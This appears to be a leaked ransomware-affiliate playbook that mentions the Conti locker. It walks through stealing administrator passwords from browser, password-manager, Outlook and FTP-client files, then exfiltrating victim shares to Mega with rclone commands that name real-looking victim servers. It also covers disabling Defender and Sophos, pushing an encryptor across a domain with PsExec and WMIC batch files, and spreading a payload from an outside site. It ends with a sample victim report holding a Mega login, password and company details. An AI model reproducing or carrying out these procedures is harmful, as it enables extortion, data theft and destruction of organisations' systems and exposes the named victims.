Histories can be directly downloaded and viewed using **DBrowser for SQLite(nix win).** What is useful - see where the admin goes, who he votes for, you can sort the histories by title and find straight **NAS / Tape / vSphere**, etc. **VERY useful thing.**

**Login Data** - logins and passwords. **Encrypted(!).** If it weighs **38-42kb then there is NOTHING there**. If it weighs more than **40-45kb (from 100kb to 1-2megabytes) - then there are definitely passwords.**

If you have the right URL with the password, **ask your teamleader.**

It also happens in chrome, that there are no passwords in Login Date, but if you carefully examine profile folder, you will find **extenstions** folder and there **lastpass.** This can also happen in practice, in this case log in **via RDP at night** and export passwords **(either keylogger or other options)**

Similarly, you can see the **Firefox / Edge** folder **(paths will be added, easy to google)**

Also, sys admins often have the following folders **in AppData\Roaming && AppData\Local**:

**Keepass**

**LastPass**

There are their configs. Let's drag them, put them in the confab. If we found it, it means there are probably lots of the right passwords.

It also happens that the admin stores ala

**access.xlsx**

**passwords.docx**

**Download it, break it, watch it.**

there is also an outlook folder

**\172.16.1.40\c$\Users\gpetit\AppData\Local\Microsoft\Outlook**

Here is the file ala

**gpetit@domain.com - Exchange1.ost**

In it is the PRESSURE of this guy. It can be downloaded to yourself, open "**free ost viewer"** and see the mail input/output. It is REGULARLY helpful to deal with difficult situations with this particular technique.

Copying is simple - **turn off outlook.exe**, copy **the .ost file**, then the user opens outlook himself.

**\\172.16.1.40\c$\Users\gpetit\AppData\Local\Filezilla**

**\\172.16.1.40\c$\Users\gpetit\AppData\Roaming\Filezilla**

Here **sitemanager.xml** files may be with **creeds from FTP SSH.** Download, look, throw in the conf.

Also examining \172**.16.1.40\C$\ProgramData**

**+Program files/x86**

+ Local disks that are dropped in **net view \\host /ALL**

**D$, etc.**

Also in **ad\_users.txt** there is a **homeDir** - look it up, too.

**I think that's it.**

**Why the manual was written - so they would not try to go headlong to raise the session and catch alerts from the admin.**

**Our job is more about figuring out how things work, rather than setting up bruteforce to all sorts of accesses.**

**Everything has already been hacked, you just have to look at everything !**

**The main task of an admin hunt is to figure out where he keeps the passwords and steal the database/excel/file/textbook/document!!!**

**Stage II. Uploading data**

1. **Mega registration**

Register online **at https://mega.io/**

Choose a subscription based on the size of the grid. **Typically 2tb**

**Choosing crypto payment**

**Sending payment details to the team leader**

**You cannot use one mega for multiple grids!!!**

1. **Creating an Rclone Configure**

1. download **rclone.exe** from the off site and create the file **rclone.conf**

2. open **cmd from the admin**, fall into the folder where the program with the configuration file is and run the command: **rclone config**

3. then select **new remote** in the menu that appears

4. **call it mega then enter mega again**

5. then enter **the mega mail address** after it will ask for a password to enter or generate, we **choose ours with the letter 'Y'.**

6. After creating a config, we are thrown back to the main menu and we exit **the рclone.**

7. then enter this command **rclone.exe config show** it will show **the config** that we created

8. Copy it into **the file rclone.conf**

1. **Offloading data**

Once we have found the balls we are interested in, we download the **.exe** and **the config** to **the target machine with rights**, go to the exe's directory and give the command:

----------------------------------------------------------------

Examples:

**shell rclone.exe copy "ball" Mega:training -q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M**

Use this ==> **shell rclone.exe copy "\\WTFINANCE.washoetribe.net\E$\FINANCE" mega:1 -q --ignore-existing --auto-confirm --multi-thread-streams 1 --transfers 3 --bwlimit 5M**

**shell rclone.exe copy "\trucamtldc01\E$\Data" remote:Data -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12**

**shell rclone.exe copy "\FS\" remote:NT -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12**

**shell rclone.exe copy "\PETERLENOVO.wist.local\Users" ftp1:uploads/Users/ -q --ignore-existing --auto-confirm --multi-thread-streams 3 --transfers 3**

**shell rclone.exe copy "\envisionpharma.com\IT\KLSHARE" Mega:Finanse -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12**

**\envisionpharma.com\IT\KLSHARE** are the balls that we download, you can specify as you like, you can specify the whole disk

**Mega** - the name of the config we specified in step 5

**Finanse** - a folder in the mega, where the info is unloaded, if there is no it will create itself.

**streams 12 --transfers 12** is the number of streams that pump. **At maximum (12) is** not recommended because you can easily get caught

**GUIDE**

**https://rclone.org/mega/**

1. **Backup info to the dedication**

Registering a dedicle

Install the application - **https://mega.io/sync**

Use the app to download the contents of the mega to the dedicator

1. **Preparing a datapack**

**Go to mega from tor**. and search by keywords. **need accounting reports. bank stats. for 20-21 years. the whole frash**.

especially important, cyber insurance, **security policy documents**.

**Search keywords:**

**cyber**

**policy**

**insurance**

**Endorsement**

**underwriting**

**terms**

**bank**

**2020**

**2021**

**Statement**

And anything that can be juicy.

always the downloader of information

**prepares the datapack immediately**

immediately backs up the information to the mega

and does a full listing of all the information!

**Stage III. Locke**

**1.** Collecting batons to copy and run a file across the domain

Assembling a domain-wide file copying batch file

Save as **"COPY.BAT"**

**start PsExec.exe /accepteula @C:\share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c COPY "\PRIMARY DOMAIN CONTROLLER\share$\fx166.exe" "C:\windows\temp\"**

Collecting a batch file to run across the domain

Save as **"EXE.BAT"**

**start PsExec.exe -d @C:{share$\comps1.txt -u DOMAIN\ADMINISTRATOR -p PASSWORD cmd /c c:{windows\temp\fx166.exe**

Building a WMI batch file to copy and run across the domain

Save as **"WMI.BAT"**

**start wmic /node:@C:\share$\comps1.txt /user: "DOMAIN\Administrator" /password: "PASSWORD" process call create "cmd.exe /c bitsadmin /transfer fx166 \DOMAIN CONTROLLER\share$\fx166.exe %APPDATA%\fx166.exe**

Parameter to start **the locker** on linux versions

Launch parameters for the **unix** version

**--path**

When this parameter is used, the locker will encrypt files on the specified path. **It is a mandatory parameter**, but it won't encrypt anything without it.

**./encryptor --path /path**

**--prockiller**

Kills all processes that interfere with opening files.

**./encryptor --path /path --prockiller**

**--log**

Includes logging of all actions and errors

**./encryptor --path /path --log /root/log.txt**

**--vmkiller**(For **esxi** only)

Turns off all virtual machines

**--vmlist**(For **esxi** only)

Sets a file with a list of virtual machines that should not be shut down. One line **per VM.**

**./encryptor --path /path --vmkiller --vmlist /tmp/list.txt**

**--detach**

Detaches the process from the terminal.

So that if an **ssh** session crashes **the locker will continue to work**

**And the files haven't been beaten.**

**ESXi version SHOULD BE REQUIRED separately**

If it doesn't start somewhere, I need the OS, the kernel version and the **glibc** version

**/lib64/libc.so.6**

FORWARD

**LOCKER**

**1.exe -nolan**  apply by default (locate only local drives... can still get into network drives (lock loch!))

**1.exe -nolocal** (locates only mapped network drives)

**1.exe -fast**  (without terminating processes that take up files and deleting Shadow copies)

**1.exe -full** (locates ALL!!! dangerous! apply on nerves)) or on fags))

**1.exe -path "\\\ip"** (the specified path to the folder, also on the other PC **"\\192.168.0.1\c$\folder")**

**MASS\_LOCK network:** (locates only the [C] drive on all PCs):

**MASS\_LOCK:**

**psexec.exe \\\%0 -s -d -i -c -f uac.bat**

**psexec.exe \\\%0 -s -d -i -c -f defoff.bat**

**psexec.exe \\\%0 -d -i -c -f 1.exe**

1. **Disconnecting AB**

**Disabling the Defender**

Manual:

**gpedit.msc**

Inside, go to Computer Configuration - Administrative Templates - Windows Components - Windows Defender

Find the **"Real-time protection"** item

Select **"Disable real-time protection".**

Select **Enabled**

Type **gpupdate /force** in **cmd**

Not by hand:

**powershell Set-MpPreference -DisableRealtimeMonitoring $true**

or

**New-ItemProperty -Path "HKLM:\SOFTWARE\Policies\Microsoft\Windows Defender" -Name DisableAntiSpyware -Value 1 -PropertyType DWORD -Force**

And one more way

Open **Gmer** or alternatives - disable the **mspeng** process \or go to the file location, delete the file itself.

**Sophos**

You need local admin rights.

Load **Gmer** on the target, start it, go to the **Processes** tab, find and tear down all the **Sophos** processes.

After that **we wait ~15-20 seconds** and see the notification about stopping **of sofos** work. **The sofos icon should disappear.**

Then go to the **Files** tab and find the folder with sofos **and try to remove the .exe files**, first of all **delete all .exe files in the folder File Scanner**, and then all the other folders.

Then start **Pchunter** and go to the **Services** tab and tear down the **sofos** services.

Then go to the **Files** tab (desirable, but not required) and there already completely demolish **the folder(s), select Force Delete** (**does not always work**) with sofos.

1. **Running batons**

Go to the **C:\** drive and create a folder called **"share$"**

Share the created folder and drop our **.bat** files there

You also need **psexec.exe** and the file with which you will encrypt this domain

Running **COPY.BAT**

Wait for all **CMD** windows to work

Running **EXE.BAT**

Wait for all **CMD** windows to work

Launch **WMI.BAT**

Wait for all **CMD** windows to work

Next, we'll need to spread the pailode dll around the network and attract bots - batniki delayutsa vot tyt - **http://tobbot.com/data/**

**copy "C:\ProgramData\BuildName.exe" "\\\{1}\c$\ProgramData\BuildName.exe"**

**wmic /node:{1} process call create "rundll32.exe C:\ProgramData\2.dll StartW"**

**copy.bat**

**copy "C:\ProgramData\2.dll" "\\192.168.3.11\c$\ProgramData\2.dll"**

**copy "C:\ProgramData\2.dll" "\\192.168.3.14\c$\ProgramData\2.dll"**

**copy "C:\ProgramData\2.dll" "\\192.168.3.18\c$\ProgramData\2.dll"**

**copy "C:\ProgramData\2.dll" "\\192.168.3.21\c$\ProgramData\2.dll"**

**copy "C:\ProgramData\2.dll" "\\192.168.3.27\c$\ProgramData\2.dll"**

**copy "C:\ProgramData\2.dll" "\\192.168.3.4\c$\ProgramData\2.dll"**

1. **Checking the result of the batons**

Go to each **wok via RDP** and check how the file worked (**if the file does not exist, copy it from your Windows via RDP to the server and run it**)

1. **Starting the locker manually**

**Starting the locker manually//**

1. **Report preparation**

**Example:**

===============================================================

**https://www.zoominfo.com/c/labranche-therrien-daoust-lefrancois/414493394**

**Website: ltdl.ca**

**1398 Servers 9654 Works - all in the box**

**Mega:**

**Ulfayjhdtyjeman@outlook.com**

**u4naY[pclwuhkpo5iW**

**25000gb info**

**Labranche Therrien Daoust Lefrançois - financiers\bugglers**

**Revenue: $985 Million**

**Locker: Conti**

**Case from botnet**

**---BEGIN ID---.**

**i0KrUPg8RSrFuPPr16C931X2rS04c4892ZR1fNVfhrmVXtOlxYisSzBJHvksbzI**

================================================================

**IV Miscellaneous**